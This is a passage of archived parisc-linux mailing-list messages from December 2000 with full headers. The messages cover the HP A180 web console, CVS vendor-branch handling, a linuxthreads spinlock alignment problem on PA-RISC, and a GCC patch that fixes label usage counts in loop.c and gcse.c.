The A180 has a builtin webconsole. On the back of the system unit
there are two RJ45 connectors. One of them is regular ethernet
(DEC2114x btw. Should be piece of cake to get running) and the other
is for the webconsole.

According to the docs on HP's website the system should autodetect
whether to use serial port or web as console. I was unable to get my
HP 70096 serial console running, though. Then I discovered a jumper on
the motherboard which could allegedly force it in either mode. I tried
moving it to serial with no avail.

Oh, well. Bugger. Then I decided to try out the webconsole. The
interface defaults to 192.0.0.192. Clickety-clik. *Blam* the Java
stuff in the webconsole nuked my Netscape. Grumble.

Ok. Then I tried connecting from a Windows-box. Much better. The web
interface appeared in the browser and I was able to configure IP and
access control for the web console.

I rebooted the web console and presto: I could configure HP-UX and
regular networking.

Phew.

I'm a bit annoyed about the serial console stuff. I'll try hooking up
a different terminal tomorrow.

-- 
Martin Kasper Petersen			BOFH, IC1&2, Aalborg University, DK
mailto:mkp@SunSITE.auc.dk		http://SunSITE.auc.dk/~mkp/


From - Thu Nov 08 21:14:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] phase 2 gcc build fails
Date: Fri, 15 Dec 2000 00:48:37 -0500
Organization: Legion of Mozilla
Lines: 44
Approved: news@gmane.org
Message-ID: <3A39B0B5.27A14539@subcarrier.org>
References: <Pine.LNX.4.21.0012141742060.2565-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619433 8583 80.91.229.3 (22 Nov 2014 01:23:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: mang@subcarrier.org  Thu Dec 14 22:51:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA27468
	for <parisc-linux@puffin.external.hp.com>; Thu, 14 Dec 2000 22:51:05 -0700
Original-Received: (qmail 5365 invoked by uid 15267); 15 Dec 2000 05:53:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5356 invoked from network); 15 Dec 2000 05:53:52 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 15 Dec 2000 05:53:52 -0000
Original-Received: (qmail 9048 invoked from network); 15 Dec 2000 05:53:19 -0000
Original-Received: from cr482258-a.slnt1.on.wave.home.com (HELO subcarrier.org) (24.114.168.169)
  by relay1.pair.com with SMTP; 15 Dec 2000 05:53:19 -0000
X-pair-Authenticated: 24.114.168.169
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8893

Alan Modra wrote:
> 
> > Yeah, that's exactly what you wanted to do.  After you ran the "admin
> > -b" command, the vendor branch was de-vendorised, so I'm guessing that
> > the next time you pulled you got the trunk, not the branch.  With vendor
> > branches, you never really know if you're pulling from a branch or the
> > trunk, hence our desire to avoid them.
> 
> For answering, you're the lucky recipient of another question :-)

Heh, serves me right ;)
 
> Is it possible to import a vendor branch that contains new files, without
> them magically appearing when checking out the HEAD version?  I've just
> done an import from sourceware, then had to rm all the new files, cvs rm,
> cvs commit.  Which is a pain.  Also, unless people use "checkout -P", they
> get empty directories.

Hmm, I didn't realise that this was another side effect of "import".  I
generally use "add" on the branch instead, which does the right thing
for new files.  So I guess when updating a third-party branch you have
two choices:
1. Use "import", and both "admin -b" and "cvs rm" from the trunk any new
files.
2. Use "add" on the branch, and "cvs rm" any removed files from the
branch.

New files on the trunk that shouldn't be there are probably less of a
nuisance than persistent files that should be gone, but there's no need
to make this kind of mistake.

If people want to prune empty directories they should use "checkout
-P".  Here's the contents of my .cvsrc:
cvs -z3
diff -uN
remove -f

I don't turn on "checkout -P" or "update -d" by default, but that's just
me.  I've been meaning to set up a checkout module for the kernel that
would include the minimal set of stuff you need to build for PA-RISC,
omitting the other arch dependent junk.  I plan to do it Real Soon Now.

	- Mike.


From - Thu Nov 08 21:14:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] phase 2 gcc build fails
Date: Fri, 15 Dec 2000 00:56:31 -0500
Organization: Legion of Mozilla
Lines: 11
Approved: news@gmane.org
Message-ID: <3A39B28F.9249D179@subcarrier.org>
References: <3A38683A.A2FCB51B@subcarrier.org> <Pine.LNX.4.21.0012141742060.2565-100000@front.linuxcare.com.au> <20001214102032.A17802@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619433 8592 80.91.229.3 (22 Nov 2014 01:23:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Thu Dec 14 22:58:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA28025
	for <parisc-linux@puffin.external.hp.com>; Thu, 14 Dec 2000 22:58:49 -0700
Original-Received: (qmail 11737 invoked by uid 15267); 15 Dec 2000 06:01:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11730 invoked from network); 15 Dec 2000 06:01:39 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 15 Dec 2000 06:01:39 -0000
Original-Received: (qmail 21260 invoked from network); 15 Dec 2000 06:01:12 -0000
Original-Received: from cr482258-a.slnt1.on.wave.home.com (HELO subcarrier.org) (24.114.168.169)
  by relay1.pair.com with SMTP; 15 Dec 2000 06:01:12 -0000
X-pair-Authenticated: 24.114.168.169
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8894

I implied this in my previous message, but you want to put "remove -f"
in you .cvsrc.  Of course, forgetting there's even a long form at all is
a sign of strength, not weakness. :)

	- Mike.

Matthew Wilcox wrote:
> 
> unfortunately, cvs doesn't seem to take the `-f' option from the .cvsrc
> for the rm command.


From - Thu Nov 08 21:14:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ldcw in __pthread_acquire
Date: Fri, 15 Dec 2000 03:12:09 -0700 (MST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200012151012.DAA05988@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619433 8602 80.91.229.3 (22 Nov 2014 01:23:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:53 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Fri Dec 15 03:10:32 2000
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id DAA29424
	for <parisc-linux@puffin.external.hp.com>; Fri, 15 Dec 2000 03:10:32 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id 7112D1E1
	for <parisc-linux@puffin.external.hp.com>; Fri, 15 Dec 2000 05:13:23 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id DAA05988 for parisc-linux@puffin.external.hp.com; Fri, 15 Dec 2000 03:12:09 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8895


I just ran into an unaligned data reference in user land.  The problem is
that the routine __pthread_acquire (in libpthread) does a ldcw, but it is
not ensuring that the address it is operating on is 16 byte aligned (it is
operating on the address that was passed in as the first argument).  Some
processors don't require the 16 byte alignment, but many do.

I haven't looked at the source (I just found the location by disassembly),
so I don't know what the root cause is.  The actual ldcw is probably from
an inlined function or macro, e.g. spin_lock().  My first guess would be
that it is using the machine dependent spin_lock macro, but the procedure
which called __pthread_acquire is passing in a structure whose lock field
does not have the aligned(16) attribute.

I don't have time to look at this right now.  Any volunteers?

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Fri, 15 Dec 2000 03:26:52 -0700 (MST)
Lines: 7
Approved: news@gmane.org
Message-ID: <200012151026.DAA06077@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619434 8614 80.91.229.3 (22 Nov 2014 01:23:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:54 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Fri Dec 15 03:25:16 2000
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id DAA30073
	for <parisc-linux@puffin.external.hp.com>; Fri, 15 Dec 2000 03:25:16 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by palrel3.hp.com (Postfix) with ESMTP id 97559DAB
	for <parisc-linux@puffin.external.hp.com>; Fri, 15 Dec 2000 02:28:07 -0800 (PST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id DAA06077 for parisc-linux@puffin.external.hp.com; Fri, 15 Dec 2000 03:26:52 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8896


I just realized that I forgot to mention that __pthread_acquire was called by
__pthread_alt_lock, and that it is passing a pointer that has a 4 byte offset
from whatever was passed as the first argument to __pthread_alt_lock.

John


From - Thu Nov 08 21:14:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Fri, 15 Dec 2000 22:37:55 +1100 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012152235260.7608-100000@front.linuxcare.com.au>
References: <200012151012.DAA05988@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619434 8624 80.91.229.3 (22 Nov 2014 01:23:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:54 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com, parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Fri Dec 15 04:37:06 2000
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id EAA00600
	for <parisc-linux@puffin.external.hp.com>; Fri, 15 Dec 2000 04:37:04 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA27904;
	Fri, 15 Dec 2000 22:37:55 +1100
In-Reply-To: <200012151012.DAA05988@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8897

On Fri, 15 Dec 2000, John Marvin wrote:

> 
> I just ran into an unaligned data reference in user land.  The problem is
> that the routine __pthread_acquire (in libpthread) does a ldcw, but it is
> not ensuring that the address it is operating on is 16 byte aligned (it is
> operating on the address that was passed in as the first argument).  Some
> processors don't require the 16 byte alignment, but many do.
> 
> I haven't looked at the source (I just found the location by disassembly),
> so I don't know what the root cause is.  The actual ldcw is probably from
> an inlined function or macro, e.g. spin_lock().  My first guess would be
> that it is using the machine dependent spin_lock macro, but the procedure
> which called __pthread_acquire is passing in a structure whose lock field
> does not have the aligned(16) attribute.
> 
> I don't have time to look at this right now.  Any volunteers?

This isn't exactly volunteering, but I've looked at this code before.
Here's where the problem is:

glibc/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h

struct _pthread_fastlock
{
  long int __status;   /* "Free" or "taken" or head of waiting list */
  int __spinlock;      /* Used by compare_and_swap emulation. Also,
			  adaptive SMP lock stores spin count here. */
};

--
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Fri, 15 Dec 2000 16:37:14 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20001215163714.A22147@parcelfarce.linux.theplanet.co.uk>
References: <200012151012.DAA05988@udlkern.fc.hp.com> <Pine.LNX.4.21.0012152235260.7608-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619434 8634 80.91.229.3 (22 Nov 2014 01:23:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:54 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@puffin.external.hp.com,
        parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: willy@www.linux.org.uk  Fri Dec 15 09:47:43 2000
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA02683
	for <parisc-linux@puffin.external.hp.com>; Fri, 15 Dec 2000 09:47:42 -0700
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 146xr8-0005of-00; Fri, 15 Dec 2000 16:37:14 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <Pine.LNX.4.21.0012152235260.7608-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Fri, Dec 15, 2000 at 10:37:55PM +1100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8898

On Fri, Dec 15, 2000 at 10:37:55PM +1100, Alan Modra wrote:
> On Fri, 15 Dec 2000, John Marvin wrote:
> 
> > 
> > I just ran into an unaligned data reference in user land.  The problem is
> > that the routine __pthread_acquire (in libpthread) does a ldcw, but it is
> > not ensuring that the address it is operating on is 16 byte aligned (it is
> > operating on the address that was passed in as the first argument).  Some
> > processors don't require the 16 byte alignment, but many do.

> Here's where the problem is:
> 
> glibc/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h
> 
> struct _pthread_fastlock
> {
>   long int __status;   /* "Free" or "taken" or head of waiting list */
>   int __spinlock;      /* Used by compare_and_swap emulation. Also,
> 			  adaptive SMP lock stores spin count here. */
> };

Can we move the __spinlock to be the first element of the struct,
and then mark the struct as requiring 16-byte alignment?  i have the
feeling this might `just work', since most structs will be allocated at
16-byte-aligned addresses anyway.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: 15 Dec 2000 18:32:12 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <d3ae9xmvz7.fsf@lxplus015.cern.ch>
References: <200012151012.DAA05988@udlkern.fc.hp.com> <Pine.LNX.4.21.0012152235260.7608-100000@front.linuxcare.com.au> <20001215163714.A22147@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619435 8675 80.91.229.3 (22 Nov 2014 01:23:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:55 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, John Marvin <jsm@udlkern.fc.hp.com>,
        parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: jes@lxplus015.cern.ch  Fri Dec 15 10:31:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA03500
	for <parisc-linux@puffin.external.hp.com>; Fri, 15 Dec 2000 10:31:55 -0700
Original-Received: (qmail 9797 invoked by uid 15267); 15 Dec 2000 17:34:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9748 invoked from network); 15 Dec 2000 17:34:45 -0000
Original-Received: from smtp1.cern.ch (137.138.128.38)
  by mailserv2.iuinc.com with SMTP; 15 Dec 2000 17:34:45 -0000
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id SAA04252;
	Fri, 15 Dec 2000 18:32:14 +0100 (MET)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id SAA06808;
	Fri, 15 Dec 2000 18:32:12 +0100
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Matthew Wilcox's message of "Fri, 15 Dec 2000 16:37:14 +0000"
Original-Lines: 13
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:8899

>>>>> "Matthew" == Matthew Wilcox <matthew@wil.cx> writes:

Matthew> Can we move the __spinlock to be the first element of the
Matthew> struct, and then mark the struct as requiring 16-byte
Matthew> alignment?  i have the feeling this might `just work', since
Matthew> most structs will be allocated at 16-byte-aligned addresses
Matthew> anyway.

We probably cannot, we can however create our own version of the
header file for the parisc port.

Jes
(yuck yuck, I just hate linuxthreads)


From - Thu Nov 08 21:14:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Sat, 16 Dec 2000 19:29:19 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20001216192919.A10477@parcelfarce.linux.theplanet.co.uk>
References: <200012151012.DAA05988@udlkern.fc.hp.com> <Pine.LNX.4.21.0012152235260.7608-100000@front.linuxcare.com.au> <20001215163714.A22147@parcelfarce.linux.theplanet.co.uk> <d3ae9xmvz7.fsf@lxplus015.cern.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619435 8909 80.91.229.3 (22 Nov 2014 01:23:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:55 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, Alan Modra <alan@linuxcare.com.au>,
        John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@thepuffingroup.com
To: Jes Sorensen <jes@linuxcare.com>
Original-X-From: willy@www.linux.org.uk  Sat Dec 16 12:45:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA13300
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Dec 2000 12:45:28 -0700
Original-Received: (qmail 7680 invoked by uid 15267); 16 Dec 2000 19:48:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5753 invoked from network); 16 Dec 2000 19:43:07 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 16 Dec 2000 19:43:05 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 147N1D-0002pM-00; Sat, 16 Dec 2000 19:29:19 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <d3ae9xmvz7.fsf@lxplus015.cern.ch>; from jes@linuxcare.com on Fri, Dec 15, 2000 at 06:32:12PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8900

On Fri, Dec 15, 2000 at 06:32:12PM +0100, Jes Sorensen wrote:
> >>>>> "Matthew" == Matthew Wilcox <matthew@wil.cx> writes:
> 
> Matthew> Can we move the __spinlock to be the first element of the
> Matthew> struct, and then mark the struct as requiring 16-byte
> Matthew> alignment?  i have the feeling this might `just work', since
> Matthew> most structs will be allocated at 16-byte-aligned addresses
> Matthew> anyway.
> 
> We probably cannot, we can however create our own version of the
> header file for the parisc port.

That was what I meant.  the question is, would it _work_?  Or is this
struct embedded in other structs at non-16byte-aligned positions?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PATCH: Adjust label usage count for new insns [was Re: pa reload problem]
Date: Sat, 16 Dec 2000 15:38:02 -0500 (EST)
Lines: 108
Approved: news@gmane.org
Message-ID: <200012162038.PAA25535@hiauly1.hia.nrc.ca>
References: <20289.976765412@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619435 8920 80.91.229.3 (22 Nov 2014 01:23:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:55 +0000 (UTC)
Cc: rth@redhat.com, alan@linuxcare.com.au, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: law@redhat.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Dec 16 13:37:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA14129
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Dec 2000 13:37:10 -0700
Original-Received: (qmail 2649 invoked by uid 15267); 16 Dec 2000 20:40:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1411 invoked from network); 16 Dec 2000 20:38:46 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 16 Dec 2000 20:38:42 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA25535;
	Sat, 16 Dec 2000 15:38:03 -0500 (EST)
In-Reply-To: <20289.976765412@upchuck> from "Jeffrey A Law" at Dec 13, 2000 08:43:32 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8901

>   > Here is the rtl after loop:

>   > (insn 1531 1528 1532 (set (reg/f:SI 337)
>   >         (high:SI (label_ref:SI 1158))) -1 (nil)
>   >     (expr_list:REG_LABEL (code_label/v 1158 1268 1439 124 "" "" [0 uses])
>   >         (nil)))
>   > 
>   > (insn 1532 1531 1535 (set (reg/f:SI 208)
>   >         (lo_sum:SI (reg/f:SI 337)
>   >             (label_ref:SI 1158))) -1 (nil)
>   >     (expr_list:REG_EQUAL (label_ref:SI 1158)
>   >         (expr_list:REG_LABEL (code_label/v 1158 1268 1439 124 "" "" [0 uses
>   > ])
>   >             (nil))))
>   > 
>   > The code_label 1158 is deleted by delete_trivially_dead_insns apparently 
>   > because the preceding call to loop_optimize in toplev.c has reduced the
>   > number of uses to 1.  Maybe somebody can see how this occurs.
> Seems to me we have a reference counting problem.  There is clearly 
> a reference to label 1158 (insn 1531/1532), but it's reference count
> is zero.

These insns result from "moving" insns with label_ref's out of a loop.  The
old insns are deleted by delete_insn which reduces the LABEL_NUSES count.
However, the LABEL_NUSES count is not incremented when the new insns
are created.  This leaves the number of uses of the label at 1 and
delete_trivially_dead_insns deletes the code_label after loop_optimize
completes.

The simplest solution is to modify add_label_notes to increment the usage
count for CODE_LABEL's.  As far as I can tell, add_label_notes is only
used in loop.c when a new insn is created and an old one deleted.  An
alternative solution might be to actually move the old insn in the list
rather than deleting it.

There appears to be a similar situation in gcse.c.

I have run a complete bootstrap and check at -O3 under hpux 10.20 with this
patch and the patch previously posted at
<http://gcc.gnu.org/ml/gcc-bugs/2000-12/msg00156.html>.  It fixes register
rename walking over the return pointer.  The test results are here
<http://gcc.gnu.org/ml/gcc-testresults/2000-12/msg00172.html>.  I have also
run a complete bootstrap and check under i686 linux.

Please review and install if OK.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2000-12-14  John David Anglin  <dave@hiauly1.hia.nrc.ca>

	* loop.c (add_label_notes): Increment the label usage count when
	a note is added to an insn which refers to a CODE_LABEL.
	* gcse.c (add_label_notes): Likewise.

--- loop.c.orig	Thu Nov 30 12:22:29 2000
+++ loop.c	Fri Dec 15 17:25:46 2000
@@ -1589,7 +1589,8 @@
 }
 
 /* If X contains any LABEL_REF's, add REG_LABEL notes for them to all
-  insns in INSNS which use the reference.  */
+   insns in INSNS which use the reference.  LABEL_NUSES for CODE_LABEL
+   references is incremented once for each added note. */
 
 static void
 add_label_notes (x, insns)
@@ -1610,8 +1611,12 @@
          mark_jump_label for additional information).  */
       for (insn = insns; insn; insn = NEXT_INSN (insn))
 	if (reg_mentioned_p (XEXP (x, 0), insn))
-	  REG_NOTES (insn) = gen_rtx_EXPR_LIST (REG_LABEL, XEXP (x, 0),
-						REG_NOTES (insn));
+	  {
+	    REG_NOTES (insn) = gen_rtx_EXPR_LIST (REG_LABEL, XEXP (x, 0),
+						  REG_NOTES (insn));
+	    if (LABEL_P (XEXP (x, 0)))
+	      LABEL_NUSES (XEXP (x, 0))++;
+	  }
     }
 
   fmt = GET_RTX_FORMAT (code);
--- gcse.c.orig	Wed Dec  6 16:16:30 2000
+++ gcse.c	Fri Dec 15 17:23:06 2000
@@ -4839,8 +4839,9 @@
 }
 
 /* If X contains any LABEL_REF's, add REG_LABEL notes for them to INSN.
-   We have to add REG_LABEL notes, because the following loop optimization
-   pass requires them.  */
+   If notes are added to an insn which references a CODE_LABEL, the
+   LABEL_NUSES count is incremented.  We have to add REG_LABEL notes,
+   because the following loop optimization pass requires them.  */
 
 /* ??? This is very similar to the loop.c add_label_notes function.  We
    could probably share code here.  */
@@ -4868,6 +4869,8 @@
 
       REG_NOTES (insn) = gen_rtx_EXPR_LIST (REG_LABEL, XEXP (x, 0),
 					    REG_NOTES (insn));
+      if (LABEL_P (XEXP (x, 0)))
+        LABEL_NUSES (XEXP (x, 0))++;
       return;
     }
 


From - Thu Nov 08 21:14:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: 16 Dec 2000 22:58:56 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <d38zpgdo4f.fsf@lxplus015.cern.ch>
References: <200012151012.DAA05988@udlkern.fc.hp.com> <Pine.LNX.4.21.0012152235260.7608-100000@front.linuxcare.com.au> <20001215163714.A22147@parcelfarce.linux.theplanet.co.uk> <d3ae9xmvz7.fsf@lxplus015.cern.ch> <20001216192919.A10477@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
